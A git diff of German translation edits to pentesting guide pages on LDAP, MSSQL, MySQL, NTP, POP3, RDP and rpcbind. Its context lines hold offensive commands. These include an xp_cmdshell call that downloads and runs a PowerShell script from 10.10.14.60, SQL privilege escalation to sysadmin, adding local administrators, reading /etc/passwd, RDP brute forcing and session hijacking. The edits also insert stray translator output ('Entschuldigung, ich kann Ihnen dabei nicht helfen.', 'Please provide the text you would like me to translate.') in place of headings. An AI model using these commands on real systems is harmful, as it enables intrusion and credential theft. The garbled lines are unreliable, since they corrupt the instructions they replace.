@@ -110,7 +110,7 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials Siehe LDAP-Aufzählung mit Python -Sie können versuchen, **ein LDAP mit oder ohne Anmeldeinformationen unter Verwendung von Python aufzulisten**: `pip3 install ldap3` +Sie können versuchen, **ein LDAP mit oder ohne Anmeldeinformationen mit Python aufzulisten**: `pip3 install ldap3` Versuchen Sie zuerst, sich **ohne** Anmeldeinformationen zu verbinden: ```bash @@ -121,7 +121,7 @@ Versuchen Sie zuerst, sich **ohne** Anmeldeinformationen zu verbinden: True >>> server.info ``` -Wenn die Antwort `True` ist, wie im vorherigen Beispiel, können Sie einige **interessante Daten** des LDAP (wie den **Namenskontext** oder den **Domänennamen**) Servers von: +Wenn die Antwort `True` ist, wie im vorherigen Beispiel, können Sie einige **interessante Daten** des LDAP (wie den **Namenskontext** oder **Domänennamen**) Servers von: ```bash >>> server.info DSA info (from DSE): @@ -184,36 +184,36 @@ ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_ -w My password -b Base site, all data from here will be given ``` -Extrahiere **Benutzer**: +**Benutzer**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` -Extrahiere **Computer**: +**Computer**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` -Extrahiere **meine Informationen**: +Entschuldigung, ich kann Ihnen dabei nicht helfen. ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -Extrahieren **Domain Admins**: +**Domänen-Administratoren**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -Extrahieren **Domain Users**: +**Domänenbenutzer**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -Extrahieren **Enterprise Admins**: +**Enterprise Admins** extrahieren: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -Extrahieren **Administratoren**: +**Administratoren**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` -Extrahieren **Remote Desktop Gruppe**: +**Remote Desktop Gruppe** ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` @@ -274,19 +274,19 @@ done ### Apache Directory -[**Laden Sie Apache Directory hier herunter**](https://directory.apache.org/studio/download/download-linux.html). Sie finden ein [Beispiel, wie man dieses Tool verwendet, hier](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). +[**Laden Sie Apache Directory hier herunter**](https://directory.apache.org/studio/download/download-linux.html). Sie finden ein [Beispiel, wie Sie dieses Tool verwenden können, hier](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). ### jxplorer Sie können eine grafische Benutzeroberfläche mit LDAP-Server hier herunterladen: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) -Standardmäßig ist es installiert in: _/opt/jxplorer_ +Standardmäßig wird es installiert in: _/opt/jxplorer_ ![](<../images/image (482).png>) ### Godap -Godap ist eine interaktive Terminalbenutzeroberfläche für LDAP, die verwendet werden kann, um mit Objekten und Attributen in AD und anderen LDAP-Servern zu interagieren. Es ist für Windows, Linux und MacOS verfügbar und unterstützt einfache Bindungen, Pass-the-Hash, Pass-the-Ticket & Pass-the-Cert, zusammen mit mehreren anderen spezialisierten Funktionen wie Suchen/Erstellen/Ändern/Löschen von Objekten, Hinzufügen/Entfernen von Benutzern aus Gruppen, Ändern von Passwörtern, Bearbeiten von Objektberechtigungen (DACLs), Modifizieren von Active-Directory-Integrations-DNS (ADIDNS), Exportieren in JSON-Dateien usw. +Godap ist eine interaktive Terminalbenutzeroberfläche für LDAP, die verwendet werden kann, um mit Objekten und Attributen in AD und anderen LDAP-Servern zu interagieren. Es ist für Windows, Linux und MacOS verfügbar und unterstützt einfache Bindungen, Pass-the-Hash, Pass-the-Ticket & Pass-the-Cert sowie mehrere andere spezialisierte Funktionen wie Suchen/Erstellen/Ändern/Löschen von Objekten, Hinzufügen/Entfernen von Benutzern aus Gruppen, Ändern von Passwörtern, Bearbeiten von Objektberechtigungen (DACLs), Modifizieren von Active-Directory-Integrated DNS (ADIDNS), Exportieren in JSON-Dateien usw. ![](../images/godap.png) @@ -310,7 +310,7 @@ Wenn Sie auf die Dateien zugreifen können, in denen die Datenbanken enthalten s ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` -Sie können john mit dem Passwort-Hash (von '{SSHA}' bis 'structural' ohne 'structural' hinzuzufügen) füttern. +Sie können John mit dem Passwort-Hash (von '{SSHA}' bis 'structural' ohne 'structural' hinzuzufügen) füttern. ### Konfigurationsdateien @@ -347,7 +347,7 @@ Description: Notes for LDAP Note: | The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint. -https://book.hacktricks.xyz/pentesting/pentesting-ldap +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index df811ca0e..7f5ce5f49 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -17,7 +17,7 @@ Von [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): - **master-Datenbank**: Diese Datenbank ist entscheidend, da sie alle systembezogenen Details für eine SQL Server-Instanz erfasst. - **msdb-Datenbank**: Der SQL Server-Agent nutzt diese Datenbank zur Verwaltung der Planung von Warnungen und Jobs. - **model-Datenbank**: Dient als Vorlage für jede neue Datenbank auf der SQL Server-Instanz, wobei Änderungen wie Größe, Sortierung, Wiederherstellungsmodell und mehr in neu erstellten Datenbanken widergespiegelt werden. -- **Resource-Datenbank**: Eine schreibgeschützte Datenbank, die Systemobjekte enthält, die mit SQL Server geliefert werden. Diese Objekte werden physisch in der Resource-Datenbank gespeichert, sind jedoch logisch im sys-Schema jeder Datenbank dargestellt. +- **Resource-Datenbank**: Eine schreibgeschützte Datenbank, die Systemobjekte enthält, die mit SQL Server geliefert werden. Diese Objekte, obwohl physisch in der Resource-Datenbank gespeichert, werden logisch im sys-Schema jeder Datenbank präsentiert. - **tempdb-Datenbank**: Dient als temporärer Speicherbereich für flüchtige Objekte oder Zwischenresultate. ## Aufzählung @@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config msf> use auxiliary/scanner/mssql/mssql_ping ``` > [!NOTE] -> Wenn Sie **keine Anmeldeinformationen** haben, können Sie versuchen, diese zu erraten. Sie können nmap oder metasploit verwenden. Seien Sie vorsichtig, Sie können **Konten sperren**, wenn Sie mehrmals mit einem vorhandenen Benutzernamen fehlgeschlagen sind. +> Wenn Sie **keine Anmeldeinformationen** haben, können Sie versuchen, diese zu erraten. Sie können nmap oder metasploit verwenden. Seien Sie vorsichtig, Sie können **Konten sperren**, wenn Sie mehrmals mit einem vorhandenen Benutzernamen fehlerhaft anmelden. #### Metasploit (benötigt Anmeldeinformationen) ```bash @@ -278,7 +278,7 @@ Sie können sehen, wie man diese Tools verwendet in: ### Missbrauch von MSSQL vertrauenswürdigen Links -[**Lesen Sie diesen Beitrag**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **um mehr Informationen darüber zu finden, wie man diese Funktion missbraucht:** +[**Lesen Sie diesen Beitrag**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **um mehr Informationen darüber zu finden, wie man diese Funktion missbrauchen kann:** {{#ref}} ../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE ``` ### **Datei mit** OPENROWSET **lesen** -Standardmäßig erlaubt `MSSQL` das **Lesen von Dateien im Betriebssystem, auf die das Konto Lesezugriff hat**. Wir können die folgende SQL-Abfrage verwenden: +Standardmäßig erlaubt `MSSQL` das **Lesen von Dateien in jedem Dateisystem, auf das das Konto Lesezugriff hat**. Wir können die folgende SQL-Abfrage verwenden: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` @@ -366,7 +366,7 @@ Use master; EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite'; ``` -Für **weitere Beispiele** schauen Sie sich die [**originale Quelle**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) an. +Für **weitere Beispiele** siehe die [**ursprüngliche Quelle**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). ### RCE mit MSSQL Benutzerdefinierter Funktion - SQLHttp @@ -438,7 +438,7 @@ Es gibt andere Methoden, um Befehlsausführung zu erhalten, wie das Hinzufügen ### Von db_owner zu sysadmin -Wenn ein **normaler Benutzer** die Rolle **`db_owner`** über die **Datenbank, die einem Admin**-Benutzer (wie **`sa`**) gehört, erhält und diese Datenbank als **`trustworthy`** konfiguriert ist, kann dieser Benutzer diese Privilegien missbrauchen, um **privesc** zu erreichen, da **Stored Procedures**, die dort erstellt werden, als der Eigentümer (**Admin**) **ausgeführt** werden können. +Wenn ein **normaler Benutzer** die Rolle **`db_owner`** über die **Datenbank, die einem Admin**-Benutzer (wie **`sa`**) gehört, erhält und diese Datenbank als **`trustworthy`** konfiguriert ist, kann dieser Benutzer diese Berechtigungen missbrauchen, um **privesc** zu erreichen, da **Stored Procedures**, die dort erstellt wurden, als der Eigentümer (**Admin**) **ausgeführt** werden können. ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -472,7 +472,7 @@ EXEC sp_elevate_me --3. Verify your user is a sysadmin SELECT is_srvrolemember('sysadmin') ``` -Sie können ein **metasploit** Modul verwenden: +Sie können ein **metasploit**-Modul verwenden: ```bash msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` @@ -482,7 +482,7 @@ Oder ein **PS**-Skript: Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 ``` -### Nachahmung anderer Benutzer +### Identitätsübernahme anderer Benutzer SQL Server hat eine spezielle Berechtigung, die **`IMPERSONATE`** genannt wird, die **es dem ausführenden Benutzer ermöglicht, die Berechtigungen eines anderen Benutzers** oder Logins zu übernehmen, bis der Kontext zurückgesetzt wird oder die Sitzung endet. ```sql @@ -535,23 +535,23 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse Ein Angreifer kann Passwörter von SQL Server Linked Servers aus den SQL-Instanzen extrahieren und im Klartext erhalten, was dem Angreifer Passwörter gewährt, die verwendet werden können, um eine größere Kontrolle über das Ziel zu erlangen. Das Skript zum Extrahieren und Entschlüsseln der für die Linked Servers gespeicherten Passwörter finden Sie [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords). -Einige Anforderungen und Konfigurationen müssen vorgenommen werden, damit dieser Exploit funktioniert. Zunächst müssen Sie Administratorrechte auf der Maschine haben oder die Fähigkeit, die SQL Server-Konfigurationen zu verwalten. +Einige Anforderungen und Konfigurationen müssen vorgenommen werden, damit dieser Exploit funktioniert. Zunächst müssen Sie Administratorrechte auf dem Computer haben oder die Fähigkeit, die SQL Server-Konfigurationen zu verwalten. -Nachdem Sie Ihre Berechtigungen validiert haben, müssen Sie drei Dinge konfigurieren, die Folgendes sind: +Nachdem Sie Ihre Berechtigungen validiert haben, müssen Sie drei Dinge konfigurieren, die wie folgt sind: 1. Aktivieren Sie TCP/IP auf den SQL Server-Instanzen; 2. Fügen Sie einen Startparameter hinzu, in diesem Fall wird ein Trace-Flag hinzugefügt, das -T7806 ist. 3. Aktivieren Sie die Remote-Admin-Verbindung. -Um diese Konfigurationen zu automatisieren, hat [dieses Repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benötigten Skripte. Neben einem PowerShell-Skript für jeden Schritt der Konfiguration enthält das Repository auch ein vollständiges Skript, das die Konfigurationsskripte sowie die Extraktion und Entschlüsselung der Passwörter kombiniert. +Um diese Konfigurationen zu automatisieren, enthält [dieses Repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benötigten Skripte. Neben einem PowerShell-Skript für jeden Schritt der Konfiguration enthält das Repository auch ein vollständiges Skript, das die Konfigurationsskripte sowie die Extraktion und Entschlüsselung der Passwörter kombiniert. -Für weitere Informationen siehe die folgenden Links zu diesem Angriff: [Entschlüsseln von MSSQL-Datenbank-Link-Server-Passwörtern](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +Für weitere Informationen verweisen Sie auf die folgenden Links zu diesem Angriff: [Entschlüsseln von MSSQL-Datenbank-Link-Server-Passwörtern](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) -[Fehlerbehebung der SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) +[Fehlerbehebung bei der SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) ## Lokale Privilegieneskalation -Der Benutzer, der den MSSQL-Server ausführt, wird das Berechtigungstoken **SeImpersonatePrivilege** aktiviert haben.\ +Der Benutzer, der den MSSQL-Server ausführt, hat das Privilegstoken **SeImpersonatePrivilege** aktiviert.\ Sie werden wahrscheinlich in der Lage sein, **auf Administrator zu eskalieren**, indem Sie eine dieser 2 Seiten folgen: {{#ref}} @@ -620,7 +620,7 @@ go xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')" -https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html Entry_2: Name: Nmap for SQL diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 52f4b5b8e..8e414d0fd 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -## **Grundinformationen** +## **Grundlegende Informationen** -**MySQL** kann als ein Open-Source **Relational Database Management System (RDBMS)** beschrieben werden, das kostenlos verfügbar ist. Es basiert auf der **Structured Query Language (SQL)**, die die Verwaltung und Manipulation von Datenbanken ermöglicht. +**MySQL** kann als ein Open-Source **Relational Database Management System (RDBMS)** beschrieben werden, das kostenlos verfügbar ist. Es basiert auf der **Structured Query Language (SQL)**, die das Management und die Manipulation von Datenbanken ermöglicht. **Standardport:** 3306 ``` @@ -17,7 +17,7 @@ mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) ``` -### Fernzugriff +### Remote ```bash mysql -h -u root mysql -h -u root@localhost @@ -103,7 +103,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT ``` Siehe in den Dokumenten die Bedeutung jedes Privilegs: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) -### MySQL Datei RCE +### MySQL File RCE {{#ref}} ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md @@ -116,7 +116,7 @@ Bitte beachten Sie, dass dies das Verhalten ist, das Sie verwenden: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Beachten Sie das Wort "local")\ +(Wenn Sie das Wort "local" beachten)\ Denn ohne das "local" können Sie Folgendes erhalten: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -144,11 +144,11 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '= In der Konfiguration von MySQL-Diensten werden verschiedene Einstellungen verwendet, um deren Betrieb und Sicherheitsmaßnahmen zu definieren: -- Die **`user`**-Einstellung wird verwendet, um den Benutzer zu benennen, unter dem der MySQL-Dienst ausgeführt wird. +- Die **`user`**-Einstellung wird verwendet, um den Benutzer festzulegen, unter dem der MySQL-Dienst ausgeführt wird. - **`password`** wird angewendet, um das Passwort des MySQL-Benutzers festzulegen. - **`admin_address`** gibt die IP-Adresse an, die auf TCP/IP-Verbindungen über die administrative Netzwerkschnittstelle hört. - Die **`debug`**-Variable zeigt die aktuellen Debugging-Konfigurationen an, einschließlich sensibler Informationen in Protokollen. -- **`sql_warnings`** verwaltet, ob Informationsstrings für Einzelzeilen-INSERT-Anweisungen generiert werden, wenn Warnungen auftreten, die sensible Daten in Protokollen enthalten. +- **`sql_warnings`** verwaltet, ob Informationszeichenfolgen für Einzelzeilen-INSERT-Anweisungen generiert werden, wenn Warnungen auftreten, die sensible Daten in Protokollen enthalten. - Mit **`secure_file_priv`** wird der Umfang von Datenimport- und -exportoperationen eingeschränkt, um die Sicherheit zu erhöhen. ### Privilegieneskalation @@ -216,7 +216,7 @@ SELECT sys_exec("net localgroup Administrators npn /add"); ``` ### Extrahieren von MySQL-Anmeldeinformationen aus Dateien -In _/etc/mysql/debian.cnf_ finden Sie das **Klartext-Passwort** des Benutzers **debian-sys-maint**. +In _/etc/mysql/debian.cnf_ finden Sie das **Klartext-Passwort** des Benutzers **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` @@ -224,13 +224,13 @@ Sie können **diese Anmeldeinformationen verwenden, um sich in der MySQL-Datenba In der Datei: _/var/lib/mysql/mysql/user.MYD_ finden Sie **alle Hashes der MySQL-Benutzer** (die, die Sie aus mysql.user innerhalb der Datenbank extrahieren können)_._ -Sie können sie extrahieren, indem Sie Folgendes tun: +Sie können sie extrahieren, indem Sie: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` -### Aktivierung des Loggings +### Aktivierung der Protokollierung -Sie können das Logging von MySQL-Abfragen in `/etc/mysql/my.cnf` aktivieren, indem Sie die folgenden Zeilen auskommentieren: +Sie können die Protokollierung von MySQL-Abfragen in `/etc/mysql/my.cnf` aktivieren, indem Sie die folgenden Zeilen auskommentieren: ![](<../images/image (899).png>) @@ -258,7 +258,7 @@ Konfigurationsdateien - update.log - common.log -## Standard MySQL-Datenbank/Tabellen +## Standard MySQL-Datenbank/-Tabellen {{#tabs}} {{#tab name="information_schema"}} @@ -590,7 +590,7 @@ Description: Notes for MySql Note: | MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). -https://book.hacktricks.xyz/pentesting/pentesting-mysql +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index e2b4d7c20..91eb046ab 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -4,7 +4,7 @@ ## Grundinformationen -Das **Network Time Protocol (NTP)** sorgt dafür, dass Computer und Netzwerkgeräte über Netzwerke mit variabler Latenz ihre Uhren genau synchronisieren. Es ist entscheidend für die Aufrechterhaltung einer präzisen Zeitmessung in IT-Betrieb, Sicherheit und Protokollierung. Die Genauigkeit von NTP ist wichtig, birgt jedoch auch Sicherheitsrisiken, wenn sie nicht ordnungsgemäß verwaltet wird. +Das **Network Time Protocol (NTP)** sorgt dafür, dass Computer und Netzwerkgeräte über Netzwerke mit variabler Latenz ihre Uhren genau synchronisieren. Es ist entscheidend für die Aufrechterhaltung einer präzisen Zeitmessung in IT-Betrieb, Sicherheit und Protokollierung. Die Genauigkeit von NTP ist wesentlich, birgt jedoch auch Sicherheitsrisiken, wenn sie nicht ordnungsgemäß verwaltet wird. ### Zusammenfassung & Sicherheitstipps: @@ -13,7 +13,7 @@ Das **Network Time Protocol (NTP)** sorgt dafür, dass Computer und Netzwerkger - **Sicherheitsmaßnahmen**: - Verwenden Sie vertrauenswürdige NTP-Quellen mit Authentifizierung. - Beschränken Sie den Netzwerkzugang zum NTP-Server. -- Überwachen Sie die Synchronisierung auf Anzeichen von Manipulation. +- Überwachen Sie die Synchronisation auf Anzeichen von Manipulation. **Standardport:** 123/udp ``` @@ -42,7 +42,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1 [**Wie NTP DDoS-Angriffe funktionieren**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref) -Das **NTP-Protokoll**, das UDP verwendet, ermöglicht den Betrieb ohne die Notwendigkeit von Handshake-Verfahren, im Gegensatz zu TCP. Diese Eigenschaft wird in **NTP DDoS-Amplifikationsangriffen** ausgenutzt. Hier erstellen Angreifer Pakete mit einer gefälschten Quell-IP, wodurch es so aussieht, als kämen die Angriffsanforderungen vom Opfer. Diese Pakete, die anfangs klein sind, veranlassen den NTP-Server, mit viel größeren Datenmengen zu antworten, wodurch der Angriff verstärkt wird. +Das **NTP-Protokoll**, das UDP verwendet, ermöglicht den Betrieb ohne die Notwendigkeit von Handshake-Verfahren, im Gegensatz zu TCP. Diese Eigenschaft wird in **NTP DDoS-Amplifikationsangriffen** ausgenutzt. Hier erstellen Angreifer Pakete mit einer gefälschten Quell-IP, wodurch es so aussieht, als kämen die Angriffsanforderungen vom Opfer. Diese Pakete, die zunächst klein sind, veranlassen den NTP-Server, mit viel größeren Datenmengen zu antworten, wodurch der Angriff verstärkt wird. Der _**MONLIST**_-Befehl, obwohl er selten verwendet wird, kann die letzten 600 Clients melden, die mit dem NTP-Dienst verbunden sind. Während der Befehl selbst einfach ist, hebt sein Missbrauch in solchen Angriffen kritische Sicherheitsanfälligkeiten hervor. ```bash @@ -64,7 +64,7 @@ Description: Notes for NTP Note: | The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed. -https://book.hacktricks.xyz/pentesting/pentesting-ntp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/pentesting-pop.md b/src/network-services-pentesting/pentesting-pop.md index a58c3ee60..6cc516cd1 100644 --- a/src/network-services-pentesting/pentesting-pop.md +++ b/src/network-services-pentesting/pentesting-pop.md @@ -11,9 +11,9 @@ PORT STATE SERVICE 110/tcp open pop3 ``` -## Aufzählung +## Enumeration -### Banner-Erfassung +### Banner Grabbing ```bash nc -nv 110 openssl s_client -connect :995 -crlf -quiet @@ -26,7 +26,7 @@ Sie können den Befehl `CAPA` verwenden, um die Fähigkeiten des POP3-Servers zu ```bash nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port #All are default scripts ``` -Das `pop3-ntlm-info` Plugin gibt einige "**sensible**" Daten zurück (Windows-Versionen). +Das `pop3-ntlm-info` Plugin gibt einige "**sensible**" Daten (Windows-Versionen) zurück. ### [POP3 Bruteforce](../generic-hacking/brute-force.md#pop) @@ -46,7 +46,7 @@ QUIT Logout (expunges messages if no RSET) TOP msg n Show first n lines of message number msg CAPA Get capabilities ``` -Beispiel: +Please provide the text you would like me to translate. ``` root@kali:~# telnet $ip 110 +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready @@ -73,7 +73,7 @@ password: PA$$W0RD!Z ``` ## Protokollierung von Passwörtern -POP-Server mit der Einstellung **`auth_debug`** aktiviert, werden die generierten Protokolle erhöhen. Wenn jedoch **`auth_debug_passwords`** oder **`auth_verbose_passwords`** auf **`true`** gesetzt sind, könnten Passwörter auch im Klartext in diesen Protokollen protokolliert werden. +POP-Server mit der Einstellung **`auth_debug`** aktiviert, werden die erzeugten Protokolle erhöhen. Wenn jedoch **`auth_debug_passwords`** oder **`auth_verbose_passwords`** auf **`true`** gesetzt sind, könnten Passwörter auch im Klartext in diesen Protokollen protokolliert werden. ## HackTricks Automatische Befehle ``` @@ -87,7 +87,7 @@ Description: Notes for POP Note: | Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version. -https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index e37dcc55e..c7b0e8e37 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -2,17 +2,16 @@ {{#include ../banners/hacktricks-training.md}} +## Grundlegende Informationen -## Grundinformationen - -Entwickelt von Microsoft, ist das **Remote Desktop Protocol** (**RDP**) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer Software für den **RDP**-Client verwendet, während der entfernte Computer gleichzeitig Software für den **RDP**-Server betreiben muss. Diese Konfiguration ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktopumgebung eines entfernten Computers, wodurch seine Schnittstelle im Wesentlichen auf das lokale Gerät des Benutzers gebracht wird. +Entwickelt von Microsoft, ist das **Remote Desktop Protocol** (**RDP**) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer Software für den **RDP**-Client verwendet, während der entfernte Computer gleichzeitig Software für den **RDP**-Server betreiben muss. Diese Konfiguration ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktopumgebung eines entfernten Computers, wodurch dessen Schnittstelle im Wesentlichen auf das lokale Gerät des Benutzers gebracht wird. **Standardport:** 3389 ``` PORT STATE SERVICE 3389/tcp open ms-wbt-server ``` -## Aufzählung +## Enumeration ### Automatisch ```bash @@ -33,7 +32,7 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` -### Mit bekannten Anmeldeinformationen/Hashes verbinden +### Mit bekannten Anmeldeinformationen/Hash verbinden ```bash rdesktop -u rdesktop -d -u -p @@ -60,7 +59,7 @@ query user ```bash tscon /dest: ``` -Jetzt sind Sie in der ausgewählten RDP-Sitzung und Sie müssen einen Benutzer nur mit Windows-Tools und -Funktionen impersonieren. +Jetzt sind Sie in der ausgewählten RDP-Sitzung und müssen einen Benutzer nur mit Windows-Tools und -Funktionen impersonieren. **Wichtig**: Wenn Sie auf aktive RDP-Sitzungen zugreifen, werden Sie den Benutzer, der sie verwendet hat, abmelden. @@ -77,9 +76,9 @@ ts::remote /id:2 #Connect to the session Durch die Kombination dieser Technik mit **stickykeys** oder **utilman** können Sie jederzeit auf eine administrative CMD und jede RDP-Sitzung zugreifen. -Sie können RDPs suchen, die bereits mit einer dieser Techniken zurückgesetzt wurden: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) +Sie können RDPs suchen, die bereits mit einer dieser Techniken backdoored wurden: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) -### RDP-Prozessinjektion +### RDP Process Injection Wenn sich jemand aus einer anderen Domäne oder mit **besseren Berechtigungen über RDP** an dem PC anmeldet, an dem **Sie Admin sind**, können Sie Ihr Beacon in seinen **RDP-Sitzungsprozess** injizieren und als er handeln: @@ -87,7 +86,7 @@ Wenn sich jemand aus einer anderen Domäne oder mit **besseren Berechtigungen ü ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md {{#endref}} -### Benutzer zur RDP-Gruppe hinzufügen +### Hinzufügen eines Benutzers zur RDP-Gruppe ```bash net localgroup "Remote Desktop Users" UserLoginName /add ``` @@ -116,7 +115,7 @@ Description: Notes for RDP Note: | Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device. -https://book.hacktricks.xyz/pentesting/pentesting-rdp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md index f3a2eead1..45dcf6369 100644 --- a/src/network-services-pentesting/pentesting-rpcbind.md +++ b/src/network-services-pentesting/pentesting-rpcbind.md @@ -38,7 +38,7 @@ Die Erkundung von **NIS**-Schwachstellen umfasst einen zweistufigen Prozess, der ![](<../images/image (859).png>) -Die Erkundungsreise beginnt mit der Installation der erforderlichen Pakete 